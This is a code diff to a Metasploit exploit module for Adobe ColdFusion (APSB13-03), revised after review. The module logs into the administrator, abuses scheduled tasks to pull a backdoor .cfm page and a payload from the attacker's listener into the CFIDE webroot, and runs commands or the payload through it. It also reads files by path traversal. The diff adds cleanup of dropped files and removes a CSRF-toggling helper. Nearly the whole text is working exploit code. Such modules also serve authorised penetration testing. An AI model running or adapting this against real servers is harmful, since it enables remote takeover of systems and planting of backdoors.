Addressed feedback from PR#1717

modules/exploits/multi/http/adobe_coldfusion_apsb13_03.rb

@@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	include Msf::Exploit::Remote::HttpClient
 	include Msf::Exploit::Remote::HttpServer
+	include Msf::Exploit::FileDropper
 
 	def initialize(info = {})
 		super(update_info(info,
@@ -97,6 +98,10 @@ class Metasploit3 < Msf::Exploit::Remote
 		# login
 		cf_cookies = login
 
+		# relative to where we operate during the exploit,
+		# where is the CFIDE directory?
+		@cf_root = "../../wwwroot/CFIDE/"
+
 		# if we managed to login, get the listener ready
 		datastore['URIPATH'] = rand_text_alphanumeric(6)
 		if (datastore['SRVHOST'] == "0.0.0.0")
@@ -113,8 +118,8 @@ class Metasploit3 < Msf::Exploit::Remote
 		# which technique (cmd, payload) the user wants
 		input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
 		output_exec = "#{datastore['URIPATH']}-e.cfm"
+		register_file_for_cleanup @cf_root + output_exec
 		schedule_drop cf_cookies, input_exec, output_exec
-
 		if datastore['CMD'] and not datastore['CMD'].empty?
 			# now that the coldfusion exec is on disk, execute it,
 			# passing in the command and arguments
@@ -124,35 +129,21 @@ class Metasploit3 < Msf::Exploit::Remote
 		else
 			# drop the payload
 			input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
-			output_payload = "#{datastore['URIPATH']}-p"
+			output_payload = "#{datastore['URIPATH']}-p.bat"
+			register_file_for_cleanup @cf_root + output_payload
 			schedule_drop cf_cookies, input_payload, output_payload
 			# make the payload executable
 			# XXX: windows?
-			execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
+			execute output_exec, 'chmod', "755 #{@cf_root}#{output_payload}"
 			# execute the payload
-			execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
+			execute output_exec, "#{@cf_root}#{output_payload}"
 		end
 		handler
 	end
 
 	def execute(cfm=nil, cmd=nil, args='')
 		uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
-		send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
+		send_request_cgi( { 'uri' => uri, 'method' => 'GET' }, 25 )
-	end
-
-	def on_new_session(client)
-		return
-		# TODO: cleanup
-		if client.type == "meterpreter"
-			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
-			@files.each do |file|
-				client.fs.file.rm("#{file}")
-			end
-		else
-			@files.each do |file|
-				client.shell_command_token("rm #{file}")
-			end
-		end
 	end
 
 	def on_request_uri(cli, request)
@@ -179,30 +170,6 @@ class Metasploit3 < Msf::Exploit::Remote
 		cookies.to_a.map { |a| a.join '=' }.join '; '
 	end
 
-	# this doesn't actually work
-	def twiddle_csrf(cookies=nil, enable=false)
-		mode = (enable ? "Enabling" : "Disabling")
-		print_status "#{mode} CSRF protection"
-		params = {
-			'SessEnable' => enable.to_s,
-		}
-		res = send_request_cgi(
-			{
-				'uri'    => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
-				'method' => 'POST',
-				'connection' => 'TE, close',
-				'cookie' => build_cookie_header(cookies),
-				'vars_post' => params,
-			})
-		if res
-			if res.body =~ /SessionManagement should/
-				print_error "Error #{mode} CSRF"
-			end
-		else
-			print_error "No response while #{mode} CSRF"
-		end
-	end
-
 	# Using the provided +cookies+, schedule a ColdFusion task
 	#	to request content from +input_uri+ and drop it in +output_path+
 	def schedule_drop(cookies, input_uri, output_path)
@@ -227,7 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote
 			token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
 			unless token
 				print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
-				#twiddle_csrf cookies, false
 				token = ''
 			end
 		else
@@ -250,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		# pick a unique task ID
 		task_id = SecureRandom.uuid
 		# drop the backdoor in the CFIDE directory so it can be executed
-		publish_file = '../../wwwroot/CFIDE/' + output_path
+		publish_file = "#{@cf_root}#{output_path}"
 		# pick a start date.  This must be in the future, so pick
 		# one sufficiently far ahead to account for time zones,
 		# improper time keeping, solar flares, drift, etc.
@@ -302,7 +268,6 @@ class Metasploit3 < Msf::Exploit::Remote
 			{
 				'uri'    => normalize_uri(target_uri.path, scheduleedit_path),
 				'method' => 'POST',
-				'connection' => 'TE, close',
 				'cookie' => build_cookie_header(cookie_hash),
 				'vars_post' => params,
 			})
@@ -328,18 +293,15 @@ class Metasploit3 < Msf::Exploit::Remote
 			{
 				'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
 				'method' => 'GET',
-				'connection' => 'TE, close',
 				'cookie' => build_cookie_header(cookie_hash),
 			})
 
-		#twiddle_csrf cookies, true
 		if datastore['DELETE_TASK']
 			print_status "Removing task #{task_id}"
 			res = send_request_cgi(
 				{
 					'uri'    => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
 					'method' => 'GET',
-					'connection' => 'TE, close',
 					'cookie' => build_cookie_header(cookie_hash),
 				})
 		end
@@ -397,7 +359,6 @@ class Metasploit3 < Msf::Exploit::Remote
 			{
 				'uri'    => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
 				'method' => 'POST',
-				'connection' => 'TE, close',
 				'vars_post' => {
 					'method' => 'login',
 					'adminUserId' => user,
@@ -620,6 +581,8 @@ class Metasploit3 < Msf::Exploit::Remote
 		false
 	end
 
+	# Read the file located at +path+ using the provided ColdFusion +cookies+,
+	# returning the contents of the file if found, an empty string otherwise
 	def traverse_read(path, cookies)
 		uri = normalize_uri(target_uri.path)
 		uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
@@ -633,6 +596,8 @@ class Metasploit3 < Msf::Exploit::Remote
 			})
 		if res and res.body
 			res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
+		else
+			return ""
 		end
 	end
 end